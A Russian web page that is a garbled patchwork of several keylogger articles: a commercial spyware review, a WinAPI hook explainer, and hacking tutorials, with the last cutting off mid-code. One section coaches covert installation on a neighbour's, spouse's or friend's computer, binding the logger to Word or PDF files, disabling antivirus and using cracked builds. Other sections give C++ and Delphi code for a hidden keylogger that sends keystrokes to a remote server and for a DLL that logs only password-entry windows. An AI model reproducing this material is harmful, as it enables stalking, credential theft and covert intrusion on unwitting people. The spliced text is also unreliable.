Пишем кейлоггер на c.              Лаборатория информационной безопасности

Различные шпионские программы бывают необходимы в условиях, когда к одному компьютеру имеют доступ много людей.

В этих условиях пользователь может захотеть узнать, какие сайты посещались с его компьютера (например, детьми), не происходило ли воровство с кредитных карт с помощью сохраненных паролей и т. д. для прояснения этих вопросов и потребуется .

Наш обзор позволит вам сделать оптимальный выбор.

Особенности выбора

Что же такое по своей сути клавиатурный шпион? Это программа, которая, строго говоря, напрямую никак не связана с клавиатурой.

Она устанавливается в память компьютера и действует на . Часто признаков ее деятельности не видно на компьютере, если не искать их целенаправленно.

Такая программа косвенно взаимодействует с клавиатурой, то есть работает с программой на ПК, которая преобразует сигналы, поступающие на процессор в результате нажатия кнопок, в текст при печати.

То есть, направлено действие такого софта на сбор информации, вводимой через клавиатуру.

Такие утилиты бывают разного типа – с помощью некоторых можно просмотреть весь набранный с клавиатуры текст, с помощью других – только тот, что был набран в браузере или в каком либо выбранном приложении.

Некоторые программы предоставляют возможность настройки таких показателей, другие нет.

Также они отличаются друг от друга по степени скрытности. Например, деятельность одних очевидна, на Рабочем столе остается ярлык и т. д., такие программы подойдут для контроля деятельности, например, детей.

Следы присутствия и деятельности других не заметны вовсе – они действуют скрыто и подойдут для установки на чужой компьютер, когда факт установки необходимо скрыть от стороннего пользователя.

Учитывая такое разнообразие, выбрать максимально подходящий софт может быть достаточно сложно.

В данном материале представлен ТОП лучших программ, которые можно использовать для этой цели. Среди них проще выбрать подходящую.

Технические характеристики

Для упрощения процесса выбора программного обеспечения в таблице, размещенной ниже, приведены основные сравнительные характеристики всех программ, включенных в ТОП.

Название Тип лицензии Тип собираемой информации Функционал Дизайн
SC-KeyLog Бесплатно Вся Широкий Упрощенный
WideStep Handy Keylogger Бесплатно/Платно Вся Широкий Улучшенный
Actual Spy Платно Вся Очень широкий Стандартный
EliteKeylogger Платно Вся Широкий Стандартный
The Rat! Бесплатно/Платно Меньше, чем в предыдущих Довольно широкий Неэстетичный
SPYGO Бесплатно В зависимости от версии В зависимости от версии Стандартное оформление Windows
Ardamax Keylogger 2.9 Бесплатно С клавиатуры Суженный Упрощенный
NS Keylogger Personal Monitor 3.8 Бесплатно Вся Суженный Упрощенный
KGB Spy Платно С клавиатуры+ открытые программы Узкий Простой
Golden Keylogger 1.32 Бесплатно С клавиатуры Очень узкий Простой

Основываясь на характеристиках из этой таблицы легко выбрать максимально подходящую под конкретные требования программу.

Подробнее об этих утилитах же рассказано ниже.

SC-KeyLog

Это объемная и функциональная программа шпион, которая распространяется бесплатно.

Помимо отслеживания конкретно информации вводимой с клавиатуры, в состоянии также собирать , адресах посещенных сайтов, паролях, открытых окнах в браузере.

Дает полную информацию обо всех действиях, производимых на компьютере. При этом формируемый файл можно просмотреть удаленно с другого устройства.

  • Возможность удаленного доступа к файлу с другого устройства;
  • Отсутствие следов деятельности программы на компьютере при правильных настройках;
  • Разнообразие собираемых данных – практически информация обо всех действиях на ПК может быть доступна.
  • Сохраняет пароли только не выше NT0;
  • Слишком простое меню и неэстетичный дизайн;
  • Достаточно неудобный формат отображения результата.

А что же говорят пользователи, которые активно применяют этот софт? «Абсолютна незаметна для пользователя», «Данные исправно приходят на почту».

WideStep Handy Keylogger

Это приложение распространяется условно бесплатно. Цена полной платной версии составляет 35 долларов.

Довольно интересная и функциональная программа, которая стоит своих денег, если вы готовы их заплатить.

Отличительная черта – способность отправлять записанные данные на с указанной периодичностью. В остальном работает нормально, часто, стабильнее других программ из этого списка.

  • Сбор информации различных типов;
  • Полная невидимость работы на компьютере пользователя;
  • Простой интерфейс и управление.
  • Дизайн лучше, чем в предыдущей программе, но все равно не на высоте;
  • Формат отображения результата неудобный;
  • Платная версия стоит достаточно дорого.

Мнения юзеров об этом софте таковы: «Удобная, простая и функциональная программа. Довольно незаметна при работе».

Actual Spy

Это функциональная и сложная платная программа стоимостью 600 рублей. Однако она имеет демонстрационную версию, распространяющуюся бесплатно.

Особенность этого софта – способность в заданный период времени.

Это помогает решить проблему ввода графического пароля/ключа, которые в последнее время стали широкого распространяться.

  • Множество типов собираемой информации плюс возможность делать скриншоты с экрана в указанный период;
  • Большое количество других дополнительных функций и особенностей;
  • Записывает не только действия, но и время их выполнения;
  • Шифрует сформированный журнал.
  • Длительность работы (сбора информации) в бесплатной демонстрационной версии составляет 40 минут;
  • Платное распространение, хотя и более или менее приемлемая цена;
  • Достаточно большой вес программы.

Отзывы пользователей о данном приложении таковы: «Программа отличная. Молодцы программисты!».

EliteKeylogger

Платная программа с достаточно высокой ценой – 69 долларов. Действует на ПК полностью незаметно в режиме низкого уровня, потому почти полностью не поддается обнаружению.

Интересная и удобная особенность – автоматический запуск софта, происходящий одновременно с запуском самой системы.

Сложно обнаруживается или вовсе не обнаруживается даже специальными антикейлогерами.

  • Полностью срытое действие и сложность в обнаружении;
  • Формат работы типа низкоуровневого драйвера и автоматический запуск при загрузке системы;
  • Отслеживает также и нажатия не только основных, но и служебных клавиш на клавиатуре.
  • Достаточно сложная система установки программы на ПК;
  • Высокая стоимость программы, но в российском интернете можно найти старую взломанную версию;
  • Довольно сложная система индивидуальных настроек программы, которая, впрочем, оправдывает себя.

Что же говорят юзеры об этом софте? «Хорошая программа», «Немного не дотягивает до Jetlogger».

The Rat!

Довольно распространенная и популярная, функциональная утилита с платной лицензией.

Однако для частного использования предоставляется бесплатная демонстрационная версия ч ограниченным периодом действия.

Программа очень простая – написать такую же может любой продвинутый пользователь. Тем не менее, она полностью неуловима для антивирусов и специальных программ, обнаруживающих подобный софт.

  • Простота, функциональность и высокая стабильность работы;
  • Минимальный вес файла и место, занимаемое им на компьютере;
  • Достаточно много настроек.
  • Довольно неприятный дизайн, выполненный в черном, белом и красном цветах;
  • Функционал несколько уже, чем в программах, описанных до этого;
  • Неудобный просмотр журнала и вообще неудобный интерфейс и использование.

Пользователи говорят о данной программе следующее: «Работает стабильно, но простовата», «Программа хорошая, позволяет собирать данные незаметно».

SPYGO

Это принципиально новый кейлогер, предназначенный для работы на и разработанный российским программистом.

Здравствуйте, Хабровчане.

Решил написать программный логгер клавиатуры на C++ с использованием WinAPI. Не могу сказать, что преследовал какую-нибудь шпионскую цель, когда писал его, скорее знакомился с хуками на WinAPI. Так как получилось не так уж и плохо, а на Хабре нет статьи про программные логгеры, решил написать свою.

Как это сделано?

Для отлавливания нажатия клавиш был использован клавиатурный хук .

HHOOK WINAPI SetWindowsHookEx(_In_ int idHook, _In_ HOOKPROC lpfn, _In_ HINSTANCE hMod, _In_ DWORD dwThreadId);

Для того, чтобы перехватывать нажатия всех клавиатурных клавиш, в качестве параметра idHook удобно указать WH_KEYBOARD или WH_KEYBOARD_LL. Разница лишь в том, что WH_KEYBOARD_LL также перехватывает нажатия системных клавиш (т.е Alt или любая клавиша при зажатом Alt), поэтому его мы и выберем.

Lpfn — указатель на функцию, обрабатывающую перехваченные сообщения (в нашем случае нажатия клавиш).
hMod — дескриптор экземпляра приложения, содержащий обрабатывающую функцию.
dwThreadId — идентификатор потока, сообщения которого мы хотим перехватывать. Нужно установить данный параметр в 0, чтобы перехватывать сообщения всех потоков.

Возвращаемое значение — дескриптор нашего хука, который при выходе нужно будет освободить функцией UnhookWindowsHookEx.
Обратившись за справкой в MSDN , мы видим прототип функции, обрабатывающей сообщения данного хука.

LRESULT CALLBACK LowLevelKeyboardProc(_In_ int nCode, _In_ WPARAM wParam, _In_ LPARAM lParam);

Параметр nCode должен быть равен HC_ACTION, иначе сообщение предоставляется другому процессу.
wParam — это одно из следующих значений WM_KEYDOWN, WM_KEYUP, WM_SYSKEYDOWN, или WM_SYSKEYUP.
lParam — указатель на структуру KBDLLHOOKSTRUCT, в полях которой нас интересуют только 2 параметра: vkCode(виртуальный код) и scanCode нажатой клавиши.
Данная функция должна вернуть значение функции CallNextHookEx, в противном же случае, следующий обрабатывающий событие хук, может получить неверные параметры сообщения.
Каждый раз при нажатии клавиши, наша программа будет перехватывать это событие и обрабатывать нашей процедурой LowLevelKeyboardProc.

Для того, чтобы ретранслировать виртуальный и скан код клавиши в символьный вид, нам понадобится функция ToAsciiEx .

Int WINAPI ToAsciiEx(_In_ UINT uVirtKey, _In_ UINT uScanCode, _In_opt_ const BYTE *lpKeyState, _Out_ LPWORD lpChar, _In_ UINT uFlags, _In_opt_ HKL dwhkl);

Первые 2 параметра — виртуальный и скан коды клавиши соответственно.
lpKeyState — состояние клавиатуры, проверяет какие клавиши нажаты/активны.
lpChar — указатель на двойное слово, в которое функция запишет символьное представление клавиши.
uFlags — параметр, указывающий на активность меню.
dwhkl — идентификатор раскладки клавиатуры.
Возвращаемое значение — количество символов, записанных в буфер lpChar. Нас интересует случай, когда записан 1 символ.
В принципе, это 3 основные функции, требуемые для самого простого клавиатурного логгера.

Немного о программе

Программа компилируется без RTL в Visual Studio 2013. Таким образом, мы получаем небольшой объём исполняемого файла и невозможность сборки в debug-версии. Данные записываются в лог файл в тот же каталог, где находится.exe файл. Для удобства логгер каждый раз создает новый файл при записи, записывает время нажатия клавиш, имя окна, в котором вводились символы и останавливается по нажатию LSHIFT+RSHIFT. Данный сниффер не адаптирован под полную клавиатуру, некоторые служебные клавиши, например F13 или NUM_LOCK, могут писаться, как . Думаю те, кто хоть немного знаком с C/C++ смогут запросто их добавить. Более того, Вы можете полностью изменить код так, как Вам удобно.

Кто из нас не хотел почувствовать себя хоть раз кул-хакером и сломать хотя бы что-нибудь? :) Если даже и нет, то уж о том, как было бы здорово заполучить пароль от почты / соц. сети друга, жены / мужа, соседа по комнате думал хотя бы однажды каждый. :) Да и надо же с чего-то начинать, в конце-то концов! Существенная часть атак (взломов) включает в себя заражение компьютера жертвы так называемыми кейлоггерами (spyware).

Итак, в сегодняшней статье поговорим о том, какие есть бесплатные программы для слежения за компьютерами на базе windows , где можно скачать их полные версии, как заразить ими компьютер жертвы и в чём особенности их использования.

Но вначале небольшое введение.

Что такое и зачем нужны кейлоггеры?

О том, что это такое, думаю, Вы догадались и сами. Как правило, они представляют собой некую программу, которая скрыто (хотя это не всегда так) устанавливается на компьютер жертвы, после чего фиксирует абсолютно все нажатия на клавиатуре на данным узле. При этом помимо самих по себе нажатия обычно фиксируется: дата-время нажатия (действия) и программа, в которой эти действия были выполнены (браузер, в том числе адрес сайта (ура, сразу видим, от чего пароли!); локальное приложение; системные службы (в т.ч. пароли входа в windows) и т.д.).

Отсюда сразу видна одна из проблем: я заполучио на пару минут доступ к компьютеру своей соседки и хочу заполучить её пароль от ВК! Установил чудо-программку и вернул комп. Как же мне потом смотреть пароли? Снова искать способ забрать у неё комп? Есть приятная новость: как правило, нет. Большинство кейлоггеров способно не только хранить всю накопленную базу действий локально, но ещё и пересылать её удалённо. Вариантов отправки логов существует масса:

  • Фикситрованный e-mail (может быть несколько) - самый удобный вариант;
  • FTP-сервер (у кого он есть);
  • SMB-сервер (экзотика, да и не очень удобно).
  • Фиксированная флешка (вставляешь её в USB-порт компьютера жертвы, и все логи копируются туда автоматически в невидимом режиме!).

Зачем же всё это нужно? Думаю, ответ очевиден. Помимо банальной кражи паролей, некоторые кейлоггеры умеют ещё ряд приятный вещей:

  • Логирование переписки в заданных соц. сетях или мессенджерах (напр, Skype).
  • Съёмка скриншотов экрана.
  • Просмотр / съемка данных с веб-камеры (что может быть очень интересно).

Как использовать кейлоггеры?

А это вопрос непростой. Надо понимать, что просто найти удобный функциональный хороший кейлоггер мало.

Итак, что же нужно для успешной работы программы-шпиона :

  • Администраторский доступ к удалённому компьютеру.
    При чём это совсем не обязательно именно физический доступ. Вы вполне можете зайти туда через RDP (службу Удалённого рабочего стола); TeamViewer; AmmyAdmin и т.д.
    Как правило, с этим пунктом связаны самые большие сложности. Однако же я недавно писал статью о том, как получить права администратора в Windows .
  • Анонимный e-mail / ftp (по которому Вас не вычислят).
    Конечно, если Вы ломаете соседу тётю Шуру, этот пункт можно смело опустить. Как и в случае, если у Вас компьютер жертвы всегда под рукой (аля, узнать пароли брата / сестры).
  • Отсутствие рабочих антивирусов / внутренних систем защиты Windows.
    Большинство публичных кейлоггеров (о которых и пойдёт речь ниже) известны подавляющему большинству антивирусного ПО (хотя есть такие вирусы-логгеры, которые встраиваются в ядро ОС или системный драйвер, и антивирусы уже не могут их ни обнаружить, ни уничтожить, если даже обнаружили). В силу вышесказанного, антивирусное ПО, если таковое имеется, придётся безжалотсно уничтожить. Кроме антивирусов, опасность для нашей программы-шпиона представляют также системы типа Защитник Windows (таковые впервые появились в Windows 7 и далее). Они отлавливают подозрительную активность работающего на компьютере ПО. О том, как же от них избавиться можно без труда найти в гугле.

Вот, пожалуй, и все необходимые и достаточные условия Вашего успеха на поприще кражи чужих паролей / переписок / фото или на что там ещё Вам заблагорассудится посягнуть.

Какие бывают программы-шпионы и где их скачать?

Итак, начнём обзор основных кейлоггеров, которые мне довелось использовать в своей повседневной практике со ссылками на бесплатное скачивание их полных версий (т.е. все версии последние на текущий момент (для которых реально найти лекарство) и с уже рабочими и испытанными кряками).

0. The Rat!

Оценки (из 10) :

  • Скрытность: 10
  • Удобство / юзабилити: 9
  • Функциональность: 8

Это просто бомба, а не кейлоггер! В рабочем состоянии занимает 15-20 КБ. Чего удивляться: он целиком написан на ассемблере (ветераны-программисты прослезились) и написан по большей части энтузиастами-хакерами, за счёт чего уровень его скрытности просто поражает воображение: работает он на уровне ядра ОС!

Кроме того, в комлект поставки входит FileConnector - мини-программа, позволяющая склеить данный кейлоггер с абсолютно любой прогой. В результате Вы получаете новый exe-шник практически того же размера, и работающий при запуске ровно так, как та програ, с которой Вы его склеили! Но после первого запуска Ваш кейлоггер будет автоматически установлен в невидимом режиме с заранее заданными Вами параметрами отсылки логов. Удобно, не правда ли?

Прекрасная возможность для социальной инженерии (приносите другу на флешке файл-игру / презентацию, да можно даже просто документ ворд (о том, как создать exe-ик, запускающий конкретный word/excel-файл расскажу в одной из следующий своих статей), запускаете, всё хорошо и прекрасно, однако же друг невидимо уже заражён!). Либо же просто шлёте этот файлик другу по почте (лучше ссылку на его скачивание, т.к. современные почтовые сервера запрещают отправку exe-файлов). Конечно, риск от антивирусов при установке всё же имеет место быть (зато его не будет после установки).

Кстати, при помощи некоторых других приёмов можно склеить любой дистрибутив скрытой установки (таковые есть в The Rat! и в Elite keylogger) не только с exe-файлами (которые у мало мальски продвинутых пользователей всё же вызывают подозрения), но и с обычными word / excel и даже pdf-файлами! Уж на простую pdf-ку никто никогда ничего не подумает, но не тут-то было! :) Как это делается - тема целой отдельной статьи. Особо ретивые могут написать мне вопросы через форму обратной связи. ;)

В общем, The Rat! можно описывать очень долго и много. Куда лучше меня это сделано вот . Там же есть и ссылка на скачивание.

1. Elite keylogger

Оценки (из 10) :

  • Скрытность: 10
  • Удобство / юзабилити: 9
  • Функциональность: 8

Пожалуй, один из лучших когда-либо созданных кейлоггеров. В число его возможностей, помимо стандартного набора (перехват всех нажатий в контексте приложений / окон / сайтов), входит перехват сообщений мессенджеров, снимки с веб-камеры, а также - что ОЧЕНЬ важно! - перехват паролей службы WinLogon. Иными словами, он перехватывает пароли входа в Windows (включая доменные!). Это стало возможным благодаря его работе на уровне системного драйвера и запуску ещё на этапе загрузки ОС. В силу этой же особенности, данная программка остаётся абсолютно невидимой и для Каспероского, и для всего прочего анти-вредоносного ПО. Признаться, я не встречал ни одного кейлоггера, способного на такое.

Однако же не стоит обольщаться слишком уж сильно. Сам инсталлер распознаётся антивирусами очень легко и для его установки потребуются и админовские права и отключение всех антивирусных служб и сервисов. После установки всё будет работать идеально в любом случае.

Кроме того, описанная особенность (работа на уровне ядра ОС) вносит требования по версия ОС, на которых кейлоггеров будет работать. Версия 5-5.3 (ссылки на которую приведены чуть ниже) поддерживает всё до Windows 7, включительно. Win 8 / 10, а также windows семейства server (2003 / 2008 / 2012) уже не поддерживаются. Есть версия 6, прекрасно функционирующая в т.ч. на win 8 и 10, однако найти крякнутую версию на текущий момент не представляется возможным. Вероятно, в будущем она появится. А пока же скачать Elite keylogger 5.3 можно по ссылке выше.

Нет режима сетевой работы, посему для использования работодателями (для слежения за компьютерами своих сотрудников) или целой группы лиц не подойдёт.

Важным моментом является возможность создания установочного дистрибутива с предзаданными настройками (к примеру, с заданным адресом почты, куда нужно будет слать логи). При этом на выходе Вы получаете дистрибутив, которые при запуске не выдаёт абсолютно никаких предупреждений или окон, а после установки может даже уничтожить себя сам (если отметить соответствующую опцию).

Несколько скринов 5-ой версии (дабы показать, на сколько всё красиво и удобно):

2. All-in-one keylogger.

Оценки (из 10) :

  • Скрытность: 3
  • Удобство / юзабилити: 9
  • Функциональность: 8

Также весьма и весьма удобная штуковина. Функционал вполне себе на уровне Elite keylogger-а. Вот со скрытностью дела по-хуже. Winlogon-пароли уже не перехыватываются, драйвером он не является, в ядро не встраивается. Однако же устанавливается в системные и скрытые AppData-директории, до которых не так легко добраться посторонним пользователям (не тем, от имени которых он установлен). Тем не менее антивирусы рано или поздно с успехом это делают, что делает эту вещь не особенно-то надёжной и безопасной при использовании, к примеру, у вас на работе для слежки за собственным начальством. ;) Склеить с чем-нибудь или же закриптовать код для сокрытия от антивирусов не получится.

Работает на любых версиях ОС Win (что приятно и практично).

Что же касается остального, всё прекрасно: логирует всё (кроме паролей на вход в Windows), пересылает куда угодно (включая e-mail, ftp, фиксированную флешку). По удобство также всё прекрасно.

3. Spytech SpyAgent.

Оценки (из 10) :

  • Скрытность: 4
  • Удобство / юзабилити: 8
  • Функциональность: 10

Также неплохой кейлоггер, хотя и с сомнительной скрытностью. Поддерживаемые версии ОС также все возможные. Функционал схож с предыдущими вариантами. Есть интересная функция самоуничтожения после заданного периода времени (либо по достижении заранее заданной даты).

Кроме того, возможна запись видео с веб-камеры и звука из микрофона, что также может быть очень востребовано и чего нет у предыдущих двух представителей.

Есть сетевой режим работы, что удобно для слежения за целой сетью компьютеров. Он же, кстати, есть у StaffCop (в обзор не включён по причине бесполезности для одного пользователя - физ. лица). Пожалуй, эта программа идеально подойдёт работодателям для слежки за своими сотрудниками (хотя лидер в этом поприще безоговорочно StaffCop и LanAgent - если Вы - юр. лицо, обязательно посмотрите в их сторону). Либо же для слежения за Вашим потомством, любящим посидеть за просмотром "сайтов для взрослых". Т.е. там, где нужна более не скрытость, а удобство (в т.ч. куча красивых журналов-отчётов и т.д.) и функционал блокировки заданных сайтов / программ (в SpyAgent он также имеется).

4. Spyrix Personal monitor.

Оценки (из 10) :

  • Скрытность: 4
  • Удобство / юзабилити: 6
  • Функциональность: 10

Функционал на уровне предыдущего кандидата, однако те же проблемы со скрытностью. Кроме того, в функционал входит интересная вещь: копирование файлов со вставляемых в компьютер USB-носителей, а также удалённый просмотр логов через веб-аккаунт на сайте Spyrix (но мы же собираемся скачать крякнутую версию, посему оно для нас работать не будет).

5. Spyrix Personal monitor.

Оценки (из 10) :

  • Скрытность: 3
  • Удобство / юзабилити: 6
  • Функциональность: 8

Подробно описывать не буду, т.к. данный экземпляр не имеет ничего из того, чего бы не было у одного из предыдущих шпионов, однако же кому-то данный кейлоггер может прийтись по душе (как минимум, своим интерфейсом).

Что имеем в итоге?

Вопрос использования кейлоггера в большей мере этический, чем технический, и он сильно зависит от Ваших целей.

Если Вы - работодатель, желающий контролировать своих сотрудников, смело ставьте StaffCop, собирайте со всех сотрудников письменные разрешения на таковые действа (иначе за такие дела Вас могут неслабо привлечь) и дело в шляпе. Хотя я лично знаю и более эффективные способы повышения работоспособности своих сотрудников.

Если же Вы - начинающий IT-специалист, желающий просто испытать, каково оно - кого-то поломать - и как вообще это дело работает, то вооружайтесь методами социальной инженерии и проводите испытания на своих друзьях, используя любой из приведённых примеров. Однако же помните: выявление такой активности жертвами отнюдь не способствует дружбе и долголетию. ;) И уж точно не стоит проверять это на своей работе. Попомните мои слова: у меня в этом есть опыт. ;)

Если же Ваша цель - прошпионить за подругой, мужем, соседом, а может, и вовсе делаете это регулярно и за деньги, хорошо подумайте, стоит ли. Ведь рано или поздно могут привлечь. Да и не стоит оно того: "рыться в чужом грязном белье - удовольствие не из приятных". Если всё же надо (а может, Вы работаете в сфере расследования компьютерных преступлений и такие задачи входят в Ваши профессиональные обязанности), то варианта только два: The Rat! и Elite Keylogger. В режиме скрытых установочных дистрибутивов, склеенных с word / excel / pdf. И лучше, по возможности, закриптованных свежим криптором. Только в этом случае можно гарантировать более менее безопасную деятельность и реальных успех.

Но в любом случае стоит помнить, что грамотное применение кейлоггеров - это лишь одно маленькое звено в достижении цели (в т.ч. даже простой атаки). Не всегда есть админовские права, не всегда есть физический доступ и не все юзеры будут открывать, читать и уж тем более качать Ваши вложения / ссылки (привет соц. инженерии), не всегда будет отключён антивирус / Ваш кейлоггер / криптор не всегда будет ему неизвестен. Все эти и многие из несказанных проблем решаемы, но их решение - тема целой серии отдельных статей.

Словом, Вы только начали погружаться в сложный, опасный, но безумно интересный мир информационной безопасности. :)

С уважением, Лысяк А.С.


А прежде чем приступить к прочтению - загляни в мой бложик, там я публикую свои авторские статьи по программированию, вирусологии и прочим интересным вещам
Оригинал статьи -

Вся информация предоставлена исключительно в ознакомительных целях. Ни администрация, ни автор не несут ответственности за любой возможный вред, причиненный материалами данной статьи.


Предисловие
На протяжении, примерно, месяца я постоянно наблюдал за различными просьбами, вопросами насчет кейлоггеров. Многие искали, но не могли найти исходники, многие искали, но не могли найти продажники и т.д.

В этой статье я хочу показать, насколько просто написать самому кейлоггер с базовым функционалом. Базу я позаимствовал отсюда - * * , пофиксил баги и доработал под взаимодействие с WinSocket.

Материалы
  • Visual Studio 2015 Community Update 4
  • Visual C++ 2015
Структура приложения
Для начала необходимо определить, как вообще будет работать кейлоггер. Будь то отсылка логов на FTP/Почту, запись нажатий в сокет, отправка файла на гейт, запись логов в бд.
Я решил остановится на сокетах. Почему? Это удобно, просто и юзабельно.
Исходя из выбора, нам нужно будет сделать 2 приложения:

Сервер
  • Консольное приложение, которое будет принимать данные от клиента и выдавать в консоли
Клиент
  • Собственно, сам кейлоггер, который будет отсылать нажатия клавиш на сервер
И начнем мы, пожалуй, с сервера.

Сервер
Создаем консольное C++ приложение в Visual Studio.
Весь код есть в оф. примере MSDN - *Войдите на форум для просмотра ссылок. *
Нам лишь нужно заменить некоторые значения в нем...
Сразу пропишем константные переменные: величину буффера и порт сервера, на который будут приходить логи

Код:

#define DEFAULT_BUFLEN 1024 //Буффер #define DEFAULT_PORT "1337" //Порт

Вместо единоразового do/while ставим бесконечный цикл, в котором будем принимать данные от клиента, выводить их в консоль, закрывать соединение и по новой:

Код:

Do { ClientSocket = accept(ListenSocket, NULL, NULL); //Принимаем коннект iResult = recv(ClientSocket, recvbuf, recvbuflen, 0);//Считываем лог if (iResult > 0) //Если лог не пустой printf("%s", recvbuf); //Выводим closesocket(ClientSocket);//Закрываем соединение memset(recvbuf, 0, sizeof recvbuf);//Освобождаем память } while (true);

Компилируем в Release, закидываем на дедик, открываем нужный нам порт и запускаем

Клиент


Создаем приложение Win32 в Visual Studio.
Как я уже и говорил выше, хук клавиатуры и обработчик нажатий я взял с *Войдите на форум для просмотра ссылок. *
Чтоб прикрутить отправку нажатия на сокет я обратился к *Войдите на форум для просмотра ссылок. *
Так же, сразу определяем константные переменные: длину буффера, айпи дедика/компа и порт

Код:

#define DEFAULT_BUFLEN 20000 #define SERVER_IP "127.0.0.1" #define SERVER_PORT "1337"

Некоторые переменные пришлось вытащить из их методов и сделать глобальными, чтобы код начал работать корректно:

Код:

WSADATA wsaData; SOCKET ConnectSocket = INVALID_SOCKET; HHOOK _hook;KBDLLHOOKSTRUCT kbdStruct; char lastwindow; int Save(int key_stroke);// Убрал второй аргумент

Создаем метод отправки данных на сервер по примеру, который был в начале абзаца. Далее, везде заменяем порт, айпи и передаваемую инфу на аргументы функции:

Код:

Void sendData(char *ip, char * port, char*data)

В методе Save делаем следующее - убираем второй аргумент и меняем запись логов в файл на отправку к серверу:

Код:

Char data; sprintf(data, "\n\n\n", window_title, s); sendData(SERVER_IP, SERVER_PORT, data);

Далее, по такому же принципу, меняем отправку в нажатиях служебных клавиш. Отправку букв можно сделать таким образом:

Код:

Char c; sprintf(c, "%c", key_stroke); sendData(SERVER_IP, SERVER_PORT, c);

Вырезаем все что связано с видимостью окна из кода, и, готово.

Итог
При запуске кейлоггера, он повиснет в процессах и будет обрабатывать каждое нажатие на клавиатуре. Возможно, некоторые символы будут отображаться некорректно, например, слеши, но все это можно исправить самому (ведь если бы все было идеально, ко мне в личку стучал Иисус с просьбой проверить продажник приватного кейлоггера).

О написании клавиатурных шпионов
рассказывалось уже неоднократно, но все они
имеют один большой недостаток - как правило,
требуется узнать весьма ограниченную
информацию, а не записывать в файл лога все,
что юзер пишет на клавиатуре - вряд ли тебе
даст много пищи для размышлений логи
нажатия на кнопки при игре в CS 😉

Отсюда следует, что шпион должен быть
продвинутым, а не тупо писать в лог все, что
ему дают 🙂 Даже назвать такую программу
шпионом язык не поворачивается - это почти
электронный агент 007:-))) Путей для того,
чтобы программа писала в лог интересующий
нас материал много. Самый простой -
контролировать активные окна, т.е. в которых
в данный момент давятся кнопки 🙂 Как ты,
думаю, знаешь, шпионы как правило состоят из
исполняемого файла и DLL. Это связано с тем,
что для перехвата сообщений к окну
требуется создать новый ПРОЦЕСС, и самое
удобное для этого - использовать dll-ку.
Поэтому для того, чтобы активировать
собственно сам логгер, нужно будет в нужный
момент загрузить DLL, а когда активное окно
сменится на иное - выгрузить ее из памяти.

Рассмотрим функции работы с DLL в языке Visual
C++. Загрузка в память длл-ки производится
функцией hINSTAGE=LoadLibrary("name.dll"), где hINSTAGE -
как бы дескриптор загруженной в память DLL,
name.dll - имя библиотеки. Чтобы ее выгрузить,
существует функция FreeLibrary(hINSTAGE);

Теперь о том, как можно нужные нам
приложения. Например, нам известно, что юзер
читает почту через сайт www.mail.ru, тогда можно
настроить агента так, чтобы он перехватывал
нажатия клавиш, когда юзер зайдет на этот
сайт. (Следует помнить, что в некоторых
приложениях шпион клавиатуры вообще не
может работать, например в адресной строке
Internet Explorer"a - это приводит к "аварийному
завершению программ" - а чего иного ты от
Windows хотел:))) Для этого способа вполне
подойдет и чтение паролей из "звонилки"
- если юзер страдает паранойей и каждый раз
вводит логин и пасс вручную 🙂 Или тебе очень
интересно узнать что же он пишет в Outlook"e или
в блокноте. Вот часть кода, выполняющая
сравнение заголовков окон с нужными нам.

HINSTAGE hINSTAGE;

while (1)
{
//Запускаем цикл.

int sl,ll;
ll=1;
sl=2;
//переменные для
счетчик
а.
char st;
HWND hw;
//Идем самым простым
путем - сравниваем посимвольно строки:
полученный заголовок окна и с нужном нам
строкой.

while (ll!=sl)
{

hw=GetForegroundWindow();
GetWindowText(hw,st,128);// читаем

char stt="_Здесь пишем заголвок нужного
нам окна_№1";

sl=strlen(stt);
ll=0;
while (stt==st)
//cравниваем
посимвольно строки
//это удобнее делать с той позиции, что будет
проверяться, вхордит ли нужная
//нам строка как часть в другую строку, можно
сделать подобие //широкого фильтра.

{
ll++;
}

if (ll==sl) {//если строки
совпадают до конца 1-ой строки -

halt; //прерываем процесс
}
// и так далее - если
нужно проверить на наличие нескольких окон.

char stt="_Здесь пишем заголвок нужного
нам окна_№2";
sl=strlen(stt);
ll=0;
while (stt==st)
{
ll++;
}

if (ll==sl) {
halt; //прерываем процесс
}

Вместо последовательной проверки можно
сделать параллельную, когда сравниваются в
одном цикле элементы строк, если хоть одна
совпала - тогда DLL-шпион активизируется.

hINSTAGE=LoadLibrary("key1.dll");

Теперь нам нужно все время проверять,
остается ли данное окно активным.

while (ll==sl) //пока
строки совпадают - крутимся на месте

{
hw=GetForegroundWindow();
GetWindowText(hw,st,128);
// читаем
активное на данный момент окно.

ll=0;
while (stt==st)
{
ll++;
}
}

Выход из цикла говорит о том, что активное
окно сменилось, поэтому далее выгружаем "шпионскую"
библиотеку и цикл начинается с начала - т.е.
прога опять ждет, когда выпадет одно из
нужных окон.

FreeLibrary(hINSTAGE);

Однако же вышеописанный способ имеет и
недостатки - требуется каждый раз проверять
из целого списка окон является ли нужное
нам активным на данный момент. Поэтому
можно юзать другой алгоритм - проверять не
заголовок окна, а смотреть, если в данном
окне элементы типа EditBox"а. Как правило,
пароли пишутся именно там 🙂 Для этого будет
смотреть на элементы этого окна - и если
среди них есть Edit - тогда грузим DLL.

char p2,p3; //массивы
символов для заголвков окон.

Опять таки в циклe проверяем все окна:

while (p3!="Edit") //пока
не нашли окно с едитбоксом - выполняем цикл

{

hw=GetForegroundWindow();

HWND hwnd_child;//переменная
элемента окна

hwnd_child = GetWindow(hw,GW_CHILD);
GetClassName(hwnd_child,p3,128);
if (p3!="Edit")
//если первый из
найденных элементов окна- не EditBox - тогда
ищем дальше

{
while (hwnd_child!=0)
{
hwnd_child = GetWindow(hwnd_child, GW_HWNDNEXT);

GetClassName(hwnd_child,p3,128);
if (p3=="Edit")
{
halt;
}
}
}
}

Теперь собственно о самой шпионской DLL.
Писать ее лучше на Дельфях, потому как этот
возмужавший потомок Паскаля не имеет столь
извращенной "Сипипишной" привычки
придирки к типам данных. Чтобы создать
библиотеку выберем File-New-Direct Link Library - и
заготовка для DLL готова. А вот сам код:

library key1;
uses Windows;

var
KHook: HHOOK;//переменная для
"ловушки"

function KProc(Code: integer; wParam: Word; lParam: LongInt): LongInt; stdcall;
const
KState: integer = 1073741824; //код
"клавиша нажата"

var
Simv: ShortString;
KL: array of Char;//для
проверки раскладки клавы

FStruct: TOFSTRUCT;
F: TextFile;
//переменная
файла для записи лога.

begin

// отсеиваем лишние
сообщения
if (lParam and KState) <> 0 then
begin

Exit;
end;

AssignFile(F, "keylog.txt");

// пытаемся открыть
файл "keylog.txt":
if OpenFile(PChar("keylog.txt"), FStruct, OF_EXIST) = HFILE_ERROR then
begin
ReWrite(F);
// если файл не
